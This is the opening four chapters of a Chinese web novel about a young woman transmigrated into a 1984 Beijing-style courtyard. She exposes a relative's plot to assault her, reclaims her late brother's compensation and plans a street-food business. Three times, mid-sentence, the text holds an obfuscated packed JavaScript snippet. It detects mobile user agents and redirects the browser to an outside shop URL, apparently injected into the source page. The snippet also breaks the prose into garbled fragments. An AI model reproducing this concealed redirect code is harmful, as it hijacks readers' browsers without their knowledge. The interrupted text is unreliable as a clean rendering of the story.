《八零大杂院小富婆》 1. 第1章 半夜，两个男的鬼鬼祟祟。 “她睡了吗？” “睡了，早睡了。” “怎么办，我有点儿害怕。” “怕什么！不想娶媳妇了？生米不煮成熟饭，珊丫头能相中你？” …… 屋外窸窸窣窣的声响，惊醒了坐在炕头沉思的林珊。 就在刚刚，她从雷厉风行的商场精英，变成了八十年代大杂院里的小趴菜。除了长相绝美，别的干啥啥不行。 听说在这本《重生八零之我是人上人》的小说世界里，自己是个大反派。为了跟女主林兰一家作对，那是无恶不作、无所不为。 林珊是一个字儿都不信。 “吧嗒——”一滴雨打在脑门上，完全就是在佐证她的想法。 又穷又惨，哪有一点大反派的气质。 屋顶滴答漏雨，窗户一捅就破，小风呼呼一刮，四面到处漏风。小破屋一个像样的家什都没有，人更是饿得眼冒金星，心慌头晕。 穷就算了，关键还惨。她在这个世界里才十八岁。 父亲头几年去世了，家里就林珊跟母亲俩人过活。她上头还有一个哥哥一个姐姐，大哥常年在外当兵，大姐去年嫁人了，原本靠着打零工和大哥帮衬，母女俩日子过得还算不错，可是两个月前部队突然传来噩耗——她大哥英勇牺牲了。 老母亲从此一病不起，林珊崩溃得不知道该怎么办。每天医院家里两头跑，妈妈病没见好，钱却见了底。 她下午去对象家——也就是本书的男主杨清明家，是想借点钱。结果见面刚说两句话，就遭到杨母劈头盖脸一顿羞辱，骂她癞蛤蟆想吃天鹅肉勾引自家儿子不算，还不要脸地跑来骗钱。 林珊气得吐血，当场就跟杨母对骂了起来。杨清明不知道因为什么，原本今天就对她有点儿冷淡，再一见这场面，更是直接怒斥她没教养。 林珊当下暴走，对着那母子俩狂喊了一通之后，哭着跑回医院。怕老母亲担心，她忍痛佯装没事儿人似的待到晚上才往家赶。 路上还遇上暴雨，淋了个落汤鸡不说，回来又发现屋顶居然还漏了。 林珊顿时生无可恋，瘫倒在床上任凭雨水一滴一滴打到脸上，再睁眼二十一世纪的林珊就接管了一切。 “唉。”林珊叹气。 这不是小可怜是什么？身世凄惨就算了，此刻门外居然还藏着两个准备谋害她的歹人。 这两个畜生林珊都认识，一个是她大伯家的二堂哥林爱军，一个是大伯所在纱厂的车间主任的儿子杜仨儿。两人话里的意思很明显，就是要让杜仨儿强上了她。 这大伯一家可真够恶毒的。 趁乱“代收”了她大哥的抚恤金还不够，又仗着孤儿寡母没人依靠，要把她往火坑里推。 这个杜仨儿又丑又黑还跛脚，小时候就爱扒女厕墙头偷看，死了媳妇儿之后更是变本加厉，看到女的就走不动道，遇见林珊更是两眼发直、腿打转，口水流满二里地。 她这位“好堂哥”，为了进纱厂的名额，居然撺掇这种东西来侵犯自己。 到底谁才是反派？ 真不愧是女主林兰的好爹、好哥啊。一家子都是这种货色，林兰能是朵白莲花？更何况还是一个重生的“白莲”。 如果书里林珊因此走上黑化之路，那也不能叫大反派，应该叫公主复仇记。 “怎么样？到底做不做？”林爱军小声催促。 “林珊不会那什么吧？……她、她有点儿凶。” “那你赶紧走，当一辈子光棍得了，反正没媳妇的又不是我。” “别别别啊，我再想想，想想。” 林珊暗骂一声，踮着脚尖来到门口，悄悄抄起洗衣棒，倏地一拽房门，瞬间把俩狗东西吓得心脏骤停。 不给对方反映的时间，她握紧手里的洗衣棒直接开抡，嘴里还不忘大喊：“抓贼啊！抓贼！！！快起来抓贼！” 林家所在的这个大杂院一共住着三家人，林老大、林老二，以及对门儿的刘大娘一家。 刘大娘家仨儿子，家里壮丁多，一家十几口子挤在三间平房内，日子紧巴巴的，平时没人动还总怀疑自家东西少了，一听有贼岂能睡着？ 果然不到两秒，刘大娘那屋的门就开了，老太太六十多了，一手提着个煤油灯，一手拿着擀面杖，朝外怒吼道：“贼呢？贼在哪儿？！贼在哪儿？！” “大娘！这儿！”林珊开口叫人，手里的棒子继续朝狗东西身上抡，打得俩人诶呀乱叫。她力气大，即使饿得眼毛金星，力道也没小到哪去。 “我呸！胆子不小！敢偷到这儿了都！”刘大娘气不打一处来，对着后赶来的儿子们喊道：“大子二子去抓人，仨儿给我把门堵好！” 三个儿子一块儿出山，一根棍子变成了三根，打得俩混蛋连跑都不知道往哪走。 “别打了！别打了！是我！是我——”林爱军一边抱头鼠窜，一边大喊。 杜仨儿也唉声求饶：“诶诶，别打了别打了，我们不是小偷。” 林珊停下棍子，佯装疑惑地“诶”了一声，“爱军哥？你大晚上不睡觉，跟一个男的在院儿里鬼鬼祟祟干什么呢？！” “爱军？”刘大娘提着油灯过来查看，刘家三个儿子也住了手。 “诶诶，是我啊大娘。”林爱军抱着头陪着笑脸，心里暗骂林珊这死丫头下手真狠，比大老爷们的劲儿还大。 “你这干啥呢？这谁啊？”刘大娘把灯往旁边一怼，“嚯，杜仨儿啊，你在这儿干啥！” 杜仨儿陪着笑，满脸都是心虚，“没、没啥。” “没啥？大半夜不睡觉，俩大男人偷偷摸摸、蹑手蹑脚的，一直贴我窗户外头晃——”林珊说着说着，露出了惊恐的表情，难以置信地看向两个狗东西：“哥！你、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13748429|145383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你不会是要带他来、来——”她话没说完，泪珠子就下来了，又惊又恐地缩成一团躲到刘大娘身后，脸色煞白。 刘家人看这情形，后知后觉地明白过来怎么回事儿，齐刷刷怒视两人。 “不是不是！珊丫头误会了，我怎么可能做这种事儿呢！”林爱军略显慌张地狡辩。 杜仨儿则满脸心虚害怕，汗都冒出来了。 “呜……”林珊大哭，用整条胡同都能听见的声音控诉道：“你们太欺负人了！我哥才刚走，我妈还在医院躺着，你们就这么急着来祸害我了！呜呜呜呜……你们还是不是人啊？！我可是林家的亲骨肉！你亲妹妹啊！爷爷奶奶爸哥，你们在天上看着呢没有？他们这是要我死啊！呜呜呜呜……” 林珊哭得痛彻心扉，凄惨无比。 不大一会儿，街坊邻居就都被她给哭来了。 刘大娘气愤地把情况一说，所有人的枪口一致朝向林爱军和杜仨儿。 两人还想狡辩，刘大娘直接呸了两口，冲对面开吼：“我真是开了眼了，居然敢这么祸害人家小姑娘！林富贵还不赶紧出来！看看你儿子干的龌龊事儿！” 这大杂院其实是有灯的，灯泡是林富贵安的，开关在他屋里，随着门吱呀一声响，院子亮了起来。 林富贵装模作样地揉着眼，皱着眉，一副刚睡醒的模样，“哎呦，怎么了这是？大晚上围这么些人吵吵啥呢？” “你儿子大晚上带着杜仨儿，准备硬闯你侄女的门呢！真是不要脸！”刘大娘没好气地开口。一辈子的邻居了，谁什么性子都门清。这林富贵贯会装大尾巴狼，其实心里黑着呢。 “没！没有的事儿！都是误会！”林爱军见老爹出来，胆子也大了，腰杆也挺直了，“杜仨儿来找我谈点儿事，珊丫头误会了。” “哦，是这么回事儿啊，你也真是的，有啥事儿不能明天说，非得晚上让人误会，还害得大家都睡不好觉，还不赶紧散了！”林富贵屋檐都没迈出来，三两句就想把事儿给平了。 “诶！我这就——” “大伯！”林珊冲出去抱住林富贵的腿，跪坐在地上痛哭：“大伯！我知道你讨厌我们这一家子，但是再怎么说咱们也是骨肉血亲啊，求求你放我一条活路吧！” “傻丫头，你说得这叫什么话，不是说了都是误会一场，你这是干什么？快起来，别让人家看笑话！”林富贵用力扯自己的裤腿。 林珊顺势跌倒在地上，余光瞥见街道主任和她那个公安儿子终于来了，于是她颤颤巍巍地站了起来，无助、凄惨又愤恨地对着林富贵说：“我哥没了，我妈在医院等着钱救命，你们拿着我大哥的抚恤金不给我还不够，现在居然又找了个癞子来害我！你们这么着急逼死我，不就是为了这两间破屋吗？好，我死，我现在就死给你们看！” 说着，她猛地朝门口的椿树撞去，跟着两眼一闭，直接晕死了过去。 2. 第2章 大杂院顿时乱作一团，救人的救人，抓人的抓人。 现在是1984年，流氓罪可不轻，要是再闹出人命来，那可就更不得了了。 林珊是凌晨掐着点儿在医院醒的，她不能昏迷太长时间，不然林富贵那老东西把一切都打点好，她就白折腾了。 一睁眼，瞧见护士在给自己拔针，她茫然地看着对方，一副不知道自己为什么身在此处的模样。 “这是医院，别担心。”护士大姐安慰了她两句，让出位置给身后的人。 林珊这才假装自己刚看见公安同志和街道的人。 “我、我……”她预备开口，泪珠先落，再加上头上包着洇血的白纱布，看上去楚楚可怜，柔弱得让人想替她把坏蛋都打跑。 “别哭别哭，好孩子。”街道来的是同住一个胡同的王大娘，他儿子王军恰好是这片儿派出所的，这会儿也跟坐在旁边。 “杜仨儿和林爱军已经被扣下来了，你别怕，有什么事儿咱街道肯定为你做主！” 林珊泪如雨下，宛如一副见到救命恩人的样子，正准备下床跪谢，被刘大姐一把拦住了，“诶呦呦，孩子可不兴这个，咱新社会不搞这些，再说了，这本来就是咱街道应该做的。” “大娘……”林珊感激不尽，努力抑制住泪水，对王大姐和王军表达感谢。 王军比林珊的大哥大几岁，两人之前有些交情，现在见对方妹妹被欺负成这样，他心里也不是滋味，“有事儿派出所会替你做主，以后可千万不能走这种绝路。” 林珊擦擦泪，受教地点点头：“是，我以后不会这样了，就算为了我妈我也不能死。” 王大娘拍拍她的背，“这就对了，好好活着比什么都强，天底下没有过不去的坎儿。” “是。”林珊乖乖应声，努力平复着情绪。 王军瞧着她懂事的模样，再想起林家的情况，忍不住叹气：“我跟你透个底吧，林爱军跟杜仨儿，不一定能判。” 这个林珊明白，这俩狗东西毕竟未遂，再来杜仨儿家有门儿，她闹着一出的目的是为了要回抚恤金，要是能顺便办了那两个货当然好，办不了，以后留着慢慢收拾也不是不行。 王大娘见林珊发懵，眼圈也越发红了，她赶紧解释道：“毕竟是在院儿里逮着的人，你说东，他说西，就算咱都知道他们想干啥，没有实实在在的铁证也不能判。再说了，大娘也庆幸没有铁证，不然咱这辈子可就真毁了。” 林珊捂住嘴痛哭，不让自己发出声音来。 王军：“你放心，就算判不了，我保证这俩家伙以后也不敢再使坏！” 林珊努力控制着眼泪，哽咽地点点头：“谢谢军哥。” 王大娘安慰她：“你大哥抚恤金的事儿，你也不要担心，我一定让林富贵原封不动地还回来！他收钱的时候你刘大娘正好看见了，这事儿他要是敢狡辩，我直接找纱厂去！” 林珊抱住王大娘，哽咽道：“我、我实在不知道该说什么了，您就是我的再生父母！” 王大娘抱着她拍拍背：“好孩子，别怕，以后有街道给你做主！” 王大娘说到做到，不到中午就把钱送过来，整整两百大元，一分不少。 林珊感激涕零，送走人没多耽搁就找亲妈赵桂花去了。 赵桂花的病有一大半儿是心病，唯一的盼头没了，自己就先放弃了，在医院躺了俩月也不见好。 其实桂花女士本身不是那种柔弱性子，在胡同里是泼辣出名的，以前有事儿没事儿就爱显摆自己儿子多了不起，现在突遭噩耗，可想打击有多大。 这会儿快到饭点了，林珊先跑到医院食堂打了些软趴趴的面条，然后才去了赵桂花的病房。 一进门，赵桂花就惊醒了。 “怎么了这是？！”她颤巍巍地坐起来，又急又惊恐。 林珊脑袋上的白纱布还洇着血，看上去特别吓人，脸色惨白惨白，跟下一秒就要昏倒似的。 赵桂花吓得赶紧把她拉到床边，“怎么了？！你头上这是怎么了？谁打的你？！” 林珊一边把饭盒放到柜子上，一边泪如雨下。 赵桂花急得瞬间满血复活，怒吼道：“谁？！谁敢打你！” “妈……”林珊擦擦泪，哽咽道：“他们、他们趁你不在的时候欺负我！” “谁？！是林富贵那个王八蛋？！”赵桂花气得火冒三丈，一口气没倒好，猛得咳嗽起来。 林珊拍着她背，一把鼻涕一把泪地把自己的遭遇说了一遍，说得赵桂花又惊又怕又怒，恨不得立刻冲回家拿刀剁了这帮狗东西。 “不要脸的东西！都给我等着！我赵桂花拼上这条老命也要把他们一个个都弄死！”赵桂花恶狠狠地说着，泪花也出来了，一把抱住林珊，后怕得不得了。 林珊拍拍她的背，可怜兮兮地说：“妈，你赶紧好起来吧，我一个人在家不行的。” 赵桂花眼泪决堤，抱着林珊哭了一会儿后，恶狠狠地擦了把脸：“好！妈一定要好起来！我看谁以后敢欺负咱！” “妈！”林珊抱住她上演了一会儿母女情深，心里暗暗松了口气。 虽然一个人在这本书里也不是活不下去，但是有亲人总比孤身一个强。上辈子林珊就是个孤儿，虽然有社会资助，但毕竟跟普通人家的孩子不一样。任何事都得靠自己，小小年纪就尝遍了人间冷暖。 好不容易混到了头部企业的产品经理，日子总算有了一些盼头，结果人直接累没了。 既然有了这次重生的机会，她一定要好好活着赚大钱！早早实现财富自由享受人生。现在是84年，在这个遍地是机会的年代，只要肯干，就没有成不了的事儿。 为了省钱，林珊其实是不想在医院待着的，但是她怎么说也是撞树“自杀”的，好太快不现实，也震慑不住暂时被扣在局子里狗东西们。 于是林珊硬生生在医院躺了三天，期间王大娘和王军又来看过一次，把林爱军和杜仨儿的处理结果说了。俩人拘留十天，罚款15块，还得负责林珊的医药费。 林珊知道这已经是最理想的结果 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13748430|145383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了，想惩罚再重些也不现实。住院这几天，她还发现一个事实，那就是“自己”人缘也太差了，出事儿到现在竟然没有一个朋友来看看。 好对象——也就是本书男主也没来。虽然俩人之前刚吵了一架，但是怎么说也出了这么大的事儿，来看看是最基本的吧。林珊怀疑这个杨清明，现在应该已经跟女主林兰勾搭上了。 原身为了杨清明可没少受委屈，就因为跟他走得近，不仅要被整个胡同的少女们讨厌，还背负着癞蛤蟆想吃天鹅肉的名声。 但是苍天有眼，明明杨清明才是那个主动的，俩人虽然没有对外宣布关系，但是彼此之间却是早已经明确在交往了。凭什么所有的骂名都要她一个人扛着。 女主林兰是林珊的堂姐，两人相差几天，原本从小到大，原身都是那个更出彩的孩子，结果到了初中，林兰突然就“开窍”了，不仅学习突飞猛进，人缘也越来越好，整条胡同就没有不夸她的。 而原身性格随了赵桂花，泼辣过之而无不及，却没有亲妈会做人。高考目标定的大专，结果连初试的边儿都没扒上。原本还有几个朋友，后来也因为杨清明闹掰了。 真是一声叹息。 由于那俩狗东西要负责医药费，林珊就多在医院待了几天。倒不是她想在住这儿，实在是赵桂花不放心她一个人回家，而桂花女士的身体又没到出院的地步。 所以又呆了一个礼拜后，赵桂花说啥也不住了。林珊见她身体恢复得还行，也就勉强同意了。 于是周二上午，林家母女正式回家。 这个地方叫安河市，是汉北省的一个小城。林家所处的位置在城西，那一片除了不少在纱厂和服装厂上班的职工，还有很多祖上就住这一片儿的老居民。 林珊家这两间小破屋，还是林老汉在世的时候分给她爸的。麻雀虽小，五脏俱全。 小小的两间破屋，被隔成了四个小房间。赵桂花夫妻俩一间，大哥一间，已经嫁人的林红和林珊住一间，还有一间算个小厅，一家人吃饭用。厨房则是屋外临时搭建的一个小窝，窄得只能容下一个人。 大杂院里家家都这样。即使住房环境这么差，大家也都想往城里挤。毕竟在这个年代，城市和农村户口了相差十万八千里，这时候能当城里人、当工人，是件很气派的事儿。 林珊顾不上气派不气派，她得先把屋顶给补好。赵桂花也有自己要忙的事儿，她不紧不慢地从屋里搬了把小凳子，放到林富贵家门口，一屁股坐下开始骂人。 什么难听骂什么，什么恶毒说什么，十八辈祖宗都进去了，也不在乎是不是一个祖宗。林富贵两口子也是真能沉住气，隔着个门帘能看见两口子都在家，结果人家倆愣是假装没听见一个字。 隔壁刘大娘看够了热闹，劝赵桂花去歇歇。林珊也觉得她有点儿累了，直接把人送回屋里。 屋顶要怎么补来着？ 林珊正准备去问问刘大娘，院门口突然进来两个人。林兰和杨清明有说有笑地踏进院子，在看见林珊的一瞬间，双双愣住。 3. 第3章 不仅他俩愣住，林珊一下也没反应过来。 等看清这两人的腻歪劲儿，那没有来得及收回去的笑颜，紧紧握在一起的手，直接给她气笑了。 “什么事儿这么开心，也说出来给我听听？”林珊慢悠悠地走过去，目光停在俩人交握的手上，鄙夷的神色一点不加掩饰。 杨清明下意识地把手抽走，余光却瞥见林兰瞬间僵硬，眼眶也倏地泛红，于是他稍微犹豫了一下，一咬牙又重新握了回去，然后用一种强撑的理直气壮看向林珊。 林珊笑了：“干嘛呢？在我面前耍流氓啊？” “我、我们俩在处对象。”杨清明清了下嗓子，让自己看上去不那么心虚。 林珊点点头，上前两步，面上露出淡淡的微笑，恶狠狠的巴掌却以迅雷不及掩耳之势，直勾勾呼到对方脸上。 “你干什么？！”杨清明惊愕地捂着脸，疼得眼冒金星，简直不敢相信刚才发生了什么。 “姐！你这是干什么啊？”林兰心疼坏了，直接扑过去查看杨清明的情况，瞧见他半张脸都红肿了起来，她气愤地朝林珊吼：“姐！你不要动不动——” “啪——！”林珊一巴掌呼到林兰脸上，打得她尖叫都忘了。 林兰捂着脸发懵，眼泪狂飙，直勾勾瞪着林珊，同样不敢相信发生了什么。 “你疯了？！”杨清明肿着半张脸冲到林兰前头，喘着粗气怒视林珊，表情那叫一个精彩，像是不相信她居然会这么野蛮，又或者不懂为什么曾经对他温柔体贴的人怎么变成这样了。 “怎么了怎么了这是？”刘大娘听见吵架声，第一个冲出来，身后还有她那两个儿媳妇。 林富贵两口子也紧随其后，一点没了刚才被赵桂花骂时的镇定，飞奔出屋直接冲到林珊面前，恶狠狠地瞪着她，像是要吃人似的。 “怎么的？逼得我撞树还不行，现在还要弄死我啊？”林珊指了下自己脑袋上的贴着的纱布，冷冷地看着林富贵。 林富贵哼声，心想迟早弄死这小丫头片子，爱军的事儿还没完，现在居然敢动他闺女！ 他强忍着怒火没发作，咬着后槽牙用长辈的身份斥责林珊：“谁教你随便打人的？兰丫头是你姐！清明是客人！人家怎么惹你了？上来就动手打人！” “打的就是这对狗男女。”林珊懒得理他，收回视线面无表情地看向狗男女。 杨清明：“你怎么说话呢？！” 林兰：“你少污蔑人！” 林珊冷笑一声，“稍等。” 她两步回到自家小屋，翻出柜子里藏着的一个布兜，然后看了眼赵桂花，发现她吃完药呼呼睡得还挺熟，丝毫没有被外头的闹剧给乱醒。挺好，她也速战速决。 “吱呀”一声把门重新关好，林珊从布兜里扯出一封信，还没开始念，杨清明的脸就红成了猴屁股。 “林珊你好，我知道你知道我叫杨清明。虽然咱们俩没有怎么说过话，但是好几次在学校遇见你，我的心跳都会疯狂加——” “够了！”杨清明恼羞成怒。 林兰脸黑得像锅底。 刘大娘一家也明白过来了，合着这是情书啊，看不出来这清明这小伙子还挺花花。 “这哪够。”林珊又掏了一封信，“好几天没在胡同遇见你了，我总算明白了什么叫魂牵梦绕，我已经彻底沦——” “够了！”杨清明直接过来把信抢走揉了，林珊没跟他一般见识，缓缓地从布兜里掏出一只钢笔，一个口琴，一把干花儿，一支眉笔，两个大贝壳…… 她每掏出来一件东西，杨清明就崩溃一番，林兰的脸就黑上一茬。刚开始杨清明还抢了两样东西，后来太多之后，他有点破罐破摔，干脆直接杵在那儿呼呼生气。 林珊心平气和：“前脚还想跟我山盟海誓，后脚就跟林兰手拉手进家门了。不管你俩谁先勾搭的谁，都是一对纯种的狗男女。不该打吗？” “你少胡说八道！”杨清明涨红了脸，除了这句似乎找不到其他反驳的话似的。林兰肿着半张脸，哭得梨花带雨，满脸的委屈和不甘。 林富贵两口子的表情十分精彩，心里是既愤怒，又憋屈。不敢表现出太多对杨清明的不满，所有的仇恨就全都转嫁到林珊身上来了。 林珊才懒得理这些垃圾，她看向吃瓜群众刘大娘和她的儿媳妇们：“杨清明这种不仁不义的陈世美，我算是看透了，林兰想要就拿去吧。大伯一家不念情分霸占我哥的抚恤金，找癞子害我，抢我对象，我却不能跟他们似的，不顾亲情血缘。” 说着，她瞥了眼垃圾们：“放心，我不会拿着这些东西去告你们俩搞破鞋的。但是呢，也请你俩不要上赶着跑我家门口恶心我，不然到时候可不是两巴掌这么简单了。” “你简直胡说八道！”杨清明当起了愤怒牌复读机。 林兰梨花带雨地喊冤枉：“就算你们俩有点什么，我跟清明也是在你们结束之后才开始的，你不要冤枉我们！” “哦，就跟你二哥说没有带杜仨儿来闯我门的那种‘冤枉’吗？”林珊不跟她废话，“没空跟你俩扯犊子，再恶心我，我就去你俩刚考上的大学好好哭一场。都闪开，别杵在我家门口。” 说罢，她抄起屋口放着的洗脸盆，直接一盆水朝这帮垃圾泼了过去。 吓得他们躲得躲，骂得骂，哭得哭，一溜烟的都进了林富贵屋里。 刘大娘缓了会儿，凑过来小声对林珊说：“珊丫头，你跟杨清明你俩……这、这兰丫头她又……唉，这叫怎么个事儿啊。” 大儿媳：“兰丫头真不知道你跟清明的事情？” 二儿媳哼声：“我是不信，有句话咋说的来着，就是那个知人知面不知心。” 刘大娘叹气：“珊丫头你千万别难过啊。” 林珊笑了：“我不难过，垃圾配垃圾，我成全他俩。” 刘大娘面上点着头，心里却觉得林珊这是错失了好机会。杨清明可是个真正的香饽饽，他不仅有个当厂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13748431|145383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 长的爷爷，家里还住着一整个四合院，他本人也特别争气，居然第一次就考上了首都的大学。 再看看珊丫头，虽然长得那是没得挑，可这谈对象可不是光看外表的。家里顶事的都没了，就剩下她跟桂花两个人，这条件实在不能说好。 兰丫头是没珊丫头好看，但人家父母都在，还都是纱厂的正式职工，虽然一个院子的都知道林富贵是什么人，可架不住人家在外头会装啊。这回他家爱军和杜仨儿干出这种丑事，他自己被发现偷拿侄子的抚恤金，也都能被这老东西一把鼻涕一把泪的给混过去。 什么不知道杜仨儿喜欢珊丫头，什么只是暂时替孩子保管钱。我呸！ 刘大娘看不上归看不上，可至少在外头的人看来，林富贵家条件还是很不错的。再加上人家兰丫头自己争气，也是头一回就考上了首都的大学！就这一条，整个安河市就没几个人能比得上的。 看来这兰丫头，以后是要飞上枝头变凤凰咯。真是同姓不同命啊。 林珊从刘大娘复杂的神色上，大概能猜出一些她的真实想法，不过这都无所谓，她在乎的是怎么补屋顶。 问过大娘后，发现这活不难，基本换个瓦片就行。 林珊踩着梯子上去一瞧，果然有个瓦片碎了一半。她捡了两片堆积在墙角的瓦片换上，顺便把周围也检查了一下。搞定屋顶，她又把两间小破屋挨着打扫了一遍。洒水扫地，擦桌洗衣服。等把屋里收拾完，也快中午了。 赵桂花睡醒起来，差点惊掉下巴。在屋里来来回回走了两圈，不敢相信这是林珊收拾的。 “你、你收拾的？” “嗯。” “我的老天爷啊！”赵桂花感激涕零，一下觉得她长大了，一下又无比心酸，这还不都是因为经历了这么多事儿吗。呜呜，她们俩娘真是命苦。 林珊见她要哭，赶紧打住换话题：“我饿了，咱吃点儿什么？” 赵桂花擦擦泪：“炝锅面。”家里还有些白面，闺女最近受苦了，给孩子吃点儿好的。 “好，那就炝锅面，我去做。”林珊起身要去做面。 赵桂花一把拦住她：“你会吗？” “会，我以前那是偷懒不想做。”她笑着把赵桂花按回椅子，自己去了厨房。 赵桂花不放心，忍不住跟着监工。 林珊因为她在旁边看着，还故意放慢了手速。她上辈子孤儿，从成年的那一刻起，吃喝拉撒就得全部靠自己。所以高中寒暑假的时候，她就开始去外头打零工了。大学时期更是不用说，就没有闲着的时候，社会上那些招临时工的工种，就没有她没干过的。工地搬砖都干过，更别提和面做饭这种小活了。 不到半个小时，两碗香喷喷的炝锅面出锅，香得刘大娘都过来看了两眼。 赵桂花吃着闺女亲手做的面，有点找不着北了，“好吃！闻着香，吃着更香！没想到我闺女这么会做饭！” 林珊笑了，“那我以后去摆摊卖饭。” 4. 第4章 “卖饭？”赵桂花呛着了，“说什么胡话！我回头找找人，看看能不能把你安排进服装厂。” 这年头个体户不要说不光彩，在安河这个地方，胡乱卖东西可是要被抓起来的。赵桂花当然以为林珊是在说胡话。 林珊放下筷子，神情认真：“去服装厂得求爷爷告奶奶，还要花不少钱，就这都不一定能办成。每年因为工作被骗的人还少吗？国营厂要这么好进，林爱军也不用半夜帮杜仨儿来害我了。” 赵桂花想起这个就恨不得扒了那俩流氓的皮，眼圈都气红了。 林珊拍着她的肩膀安慰：“都过去了。要想不被人欺负，就得自己强起来。就算我进了服装厂又能怎么样？不知道多久才能把求人花的钱挣回来。” “再久也能挣回来，那可是一辈子的饭碗啊，再说了，工人多光荣，你以后找婆家看得就是这个。”赵桂花给愁的啊。 林珊真想告诉她过不了十年，这些厂子就会一个个开始倒闭，大批大批的人都要会下岗失业。 她也叹气：“我先当个临时工，然后学我姐找个人稀里糊涂地嫁了，过得好不好都不敢跟咱们说，连你住院也不能过来？要是以后过的是这种日子，我不嫁也罢。” “啧，净说些胡话！”提起大女儿，赵桂花又忍不住叹气：“你姐她有难处，她跟你不一样。” 林珊哼声：“有什么不一样的，张家人就是仗着她好欺负！我不去服装厂，我不仅要摆摊卖饭，我还要上大学，我将来给你买大房子！买大汽车！” 赵桂花惊了，“我的老天，你、你这都想得啥啊，上大学、买大房子？咱咋这么敢想呢？”她下意识要去摸林珊的脑袋，看看是不是发烧了。 “我说到做到。妈你先让我试试，要是不行，以后让我干什么就干什么。”林珊握住赵桂花的手，把杨清明的事儿说了。 上午闹了这么一出，跟杨清明的事被刘大娘知道，就等于被整条胡同知道了，再瞒着赵桂花没有意义。 赵桂花同志瞬间从慈母转化成女中豪杰，当下就要拿着菜刀找狗男女算账，还要顺便砍了林富贵。 林珊拦着她劝了好大一会儿，才让她稍稍冷静下来。 赵桂花怒骂：“杀千刀的！这些杂碎竟然敢这么欺负人！” 林珊猛点头：“所以我更要争气，比任何人都争气，到时候让他们每个人都哭着来求我！” “……”赵桂花一时不知道该怎么接这话。她就说这孩子怎么突然说起胡话来了，原来是被林兰和杨清明这俩小兔崽子给刺激到了。 偷偷算了一下家里的余钱，罢了，先挤出10块钱让她死死心，摆摊卖饭哪是那么容易的？出不了半天保准这丫头就得乖乖听话。 这边林珊得到了启动资金，那头林兰坐在屋里哭鼻子。 杨清明已经哄她半天了，为表忠心他决定下跪发誓：“我之前那是眼睛瞎了觉得她还行，但是接触之后我发现她就只有个空壳，肚子里什么都东西都没有。我说月亮她说烧饼，连贺知章是谁她都不知道。你说我能喜欢她吗？我发誓我心里的人只有你，你才是我的光明，我前进的方向！小兰，你一定要相信我啊！” 林兰哭得真情实感，她是真不知道杨清明居然跟林珊有一腿！那个棒槌跟她有可比性吗？上辈子就是个短命鬼，没活到二十就死了。不仅她，她全家都死绝了。 林兰自从重生之后，就从来就没把这家人放在眼里过。没想到杨清明今天好好给她上了一课，不仅让她当了小三，还狠狠挨了那棒槌一巴掌。 除了疼，她更多的是恶心。跟一个棒槌抢男人，实在太掉价了。 不过不舒服归不舒服，她是不会真分手的。杨清明长相不错，人又聪明，家世还好，再没找到更优秀的人之前，他就是最适合的那个。 上辈子她平淡无奇过了一生，这一世一定要出人头地，成为人上人。 …… 林珊的摆摊计划是卖包子。 这倒不是她随便想的。首先包子不分季，在这个年代算是大热品。自行车上绑两个框就能出去卖，客人买了就能走。再一个她做包子的手艺非常好，前世在早餐店打工的时候没少包包子。 虽然现在可能有些特殊佐料买不全，但是味道基本不会有什么太大的区别。 而且城西工人多，只要好吃，谁都舍得给买两个包子尝尝。 卖凉皮凉面什么的倒是适合夏天，就是太麻烦了。光配料就得好几种，还得搞个那种大三轮车当摊位，桌子板凳也得配上，想带走吃的话，包装也成问题。总之不太划算。 从赵桂花那拿了钱之后，林珊吃完饭就直接骑车出去考察市场了。 八月初的安河市已经很热了，林珊带着绑绳大草帽，骑着自行车，直奔城西最热闹的集市。 说是集市，其实就是个黑市，只不过这两年管得松，小商小贩都已经开始光明正大地摆摊了，一整条街卖什么的都有。即使现在的政策不允许倒买倒卖，但是百姓要生活，自由流通挡不住啊。 卖饭的不太用担心被抓的问题，卖手表、卖收音机的可就得当心了，每回风声一紧就得赶紧撤。 集市上有不少卖香料的，种类不多，价格有高有低。林珊挑了几家买了些花椒、八角、香叶，还靠着嘴甜让老板们多便宜了一丢丢。 她准备待会儿回去就先做一些包子出来，然后赶在饭点儿前拿到街上去试卖，所以这趟就直接把肉和面都买全了。 这年头猪肉有票六毛五一斤，没票就得八毛，林珊买的时候觉得心在滴血。面粉用票一毛六，她直接买了五十斤，把桂花女士给的粮票用了个精光。 葱、姜、蒜挨个儿凑齐，三毛钱又出去了。 买好了食材，又挑了个手工做得竹夹子，想想这些应该暂时够用之后，林珊蹬起沉甸甸的自行车回了家。 